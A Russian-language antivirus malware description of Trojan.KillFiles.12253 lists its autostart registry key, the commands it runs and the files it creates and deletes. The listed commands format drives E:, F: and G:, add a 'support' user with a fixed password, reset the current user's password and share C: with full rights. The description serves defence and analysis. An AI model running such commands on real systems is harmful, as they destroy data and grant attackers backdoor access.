Trojan.KillFiles.12253

Техническая информация

Для обеспечения автозапуска и распространения:

Модифицирует следующие ключи реестра:

[<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'Driver' = '\PenDrive.bat'

Вредоносные функции:

Запускает на исполнение:

'<SYSTEM32>\net1.exe' user support /expires never
'<SYSTEM32>\net1.exe' user support /active yes
'<SYSTEM32>\net1.exe' accounts /maxpwage:unlimited
'<SYSTEM32>\format.com' E: /y
'<SYSTEM32>\reg.exe' add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "Driver" /t REG_SZ /d "\PenDrive.bat" /f
'<SYSTEM32>\format.com' G: /y
'<SYSTEM32>\format.com' F: /y
'<SYSTEM32>\net1.exe' share concfg*C:\\/grant:support,full
'<SYSTEM32>\attrib.exe' +s +r +h C:\AUTOEXEC.BAT
'<SYSTEM32>\attrib.exe' -s -r -h C:\AUTOEXEC.BAT
'<SYSTEM32>\cmd.exe' /c ""%TEMP%\1.tmp\worm.bat" "
'<SYSTEM32>\wscript.exe' "%TEMP%\1.tmp\p2pspread.vbs"
'<SYSTEM32>\net1.exe' localgroup %USERNAME%s support /add
'<SYSTEM32>\net1.exe' user support h4x0r101 /add
'<SYSTEM32>\net1.exe' user %USERNAME% h4x0r101

Изменения в файловой системе:

Создает следующие файлы:

%TEMP%\1.tmp\p2pspread.vbs
<Служебный элемент>
%TEMP%\1.tmp\worm.bat
C:\AUTOEXEC.BAT

Удаляет следующие файлы:

%WINDIR%\pchealth\helpctr\System\sysinfo\graphics\down.bmp
%WINDIR%\pchealth\helpctr\System\sysinfo\graphics\up.bmp
%WINDIR%\pchealth\helpctr\System\Remote Assistance\Interaction\Common\SendVoice.bmp
%WINDIR%\pchealth\helpctr\System\Remote Assistance\Interaction\Server\StopControl.bmp
<SYSTEM32>\setup.bmp
<SYSTEM32>\scrnsave.scr
<SYSTEM32>\ss3dfo.scr
%WINDIR%\Web\Wallpaper\Bliss.bmp
<SYSTEM32>\logon.scr
%WINDIR%\pchealth\helpctr\System\images\48x48\desktop_icon_04.bmp
%WINDIR%\pchealth\helpctr\System\images\48x48\desktop_icon_generic.bmp
%WINDIR%\pchealth\helpctr\System\images\48x48\desktop_icon_02.bmp
%WINDIR%\pchealth\helpctr\System\images\48x48\desktop_icon_03.bmp
%WINDIR%\pchealth\helpctr\System\Remote Assistance\Interaction\Client\TakeControl.bmp
%WINDIR%\pchealth\helpctr\System\Remote Assistance\Interaction\Common\Quit.bmp
%WINDIR%\pchealth\helpctr\System\Remote Assistance\Interaction\Common\SendFile.bmp
%WINDIR%\pchealth\helpctr\System\Remote Assistance\Interaction\Common\HelpCenter.bmp
%WINDIR%\pchealth\helpctr\System\Remote Assistance\Interaction\Common\Options.bmp
<SYSTEM32>\ssbezier.scr
<SYSTEM32>\dllcache\ssflwbox.scr
<SYSTEM32>\dllcache\ssmarque.scr
<SYSTEM32>\dllcache\ss3dfo.scr
<SYSTEM32>\dllcache\ssbezier.scr
<SYSTEM32>\dllcache\ssmypics.scr
<SYSTEM32>\dllcache\ssstars.scr
<SYSTEM32>\dllcache\sstext3d.scr
<SYSTEM32>\dllcache\ssmyst.scr
<SYSTEM32>\dllcache\sspipes.scr
<SYSTEM32>\ssmypics.scr
<SYSTEM32>\ssmyst.scr
<SYSTEM32>\ssflwbox.scr
<SYSTEM32>\ssmarque.scr
<SYSTEM32>\sspipes.scr
<SYSTEM32>\dllcache\logon.scr
<SYSTEM32>\dllcache\scrnsave.scr
<SYSTEM32>\ssstars.scr
<SYSTEM32>\sstext3d.scr
%WINDIR%\pchealth\helpctr\System\images\48x48\desktop_icon_01.bmp
%WINDIR%\Zapotec.bmp
%WINDIR%\Microsoft.NET\Framework\v3.5\Microsoft .NET Framework 3.5 SP1\logo.bmp
%WINDIR%\Santa Fe Stucco.bmp
%WINDIR%\Soap Bubbles.bmp
%WINDIR%\Microsoft.NET\Framework\v4.0.30319\SetupCache\Client\header.bmp
%WINDIR%\Microsoft.NET\Framework\v4.0.30319\SetupCache\Extended\header.bmp
%WINDIR%\Microsoft.NET\Framework\v4.0.30319\SetupCache\Extended\SplashScreen.bmp
%WINDIR%\Microsoft.NET\Framework\v4.0.30319\SetupCache\Client\SplashScreen.bmp
%WINDIR%\Microsoft.NET\Framework\v4.0.30319\SetupCache\Client\watermark.bmp
%WINDIR%\Coffee Bean.bmp
%WINDIR%\FeatherTexture.bmp
%TEMP%\1.tmp\p2pspread.vbs
%WINDIR%\Blue Lace 16.bmp
%WINDIR%\Gone Fishing.bmp
%WINDIR%\Rhododendron.bmp
%WINDIR%\River Sumida.bmp
%WINDIR%\Greenstone.bmp
%WINDIR%\Prairie Wind.bmp
%WINDIR%\Microsoft.NET\Framework\v4.0.30319\SetupCache\Extended\watermark.bmp
%WINDIR%\pchealth\helpctr\System\images\16x16\support.bmp
%WINDIR%\pchealth\helpctr\System\images\16x16\tools.bmp
%WINDIR%\pchealth\helpctr\System\images\16x16\compat.bmp
%WINDIR%\pchealth\helpctr\System\images\16x16\errmsg.bmp
%WINDIR%\pchealth\helpctr\System\images\16x16\update.bmp
%WINDIR%\pchealth\helpctr\System\images\24x24\arrow_green_normal.bmp
%WINDIR%\pchealth\helpctr\System\images\32x32\logo.bmp
%WINDIR%\pchealth\helpctr\System\images\24x24\arrow_green_mousedown.bmp
%WINDIR%\pchealth\helpctr\System\images\24x24\arrow_green_mouseover.bmp
%WINDIR%\pchealth\helpctr\System\images\icon_blank_12x.bmp
%WINDIR%\pchealth\helpctr\System\images\icon_newwindow_12x.bmp
%WINDIR%\pchealth\helpctr\System\blurbs\watermark_300x.bmp
%WINDIR%\pchealth\helpctr\System\images\icon_articles_12x.bmp
%WINDIR%\pchealth\helpctr\System\images\icon_onlineinline_12x.bmp
%WINDIR%\pchealth\helpctr\System\images\16x16\arrow_blue_normal_shadow.bmp
%WINDIR%\pchealth\helpctr\System\images\16x16\arrow_green_normal_shadow.bmp
%WINDIR%\pchealth\helpctr\System\images\icon_tours_12x.bmp
%WINDIR%\pchealth\helpctr\System\images\icon_tutorials_12x.bmp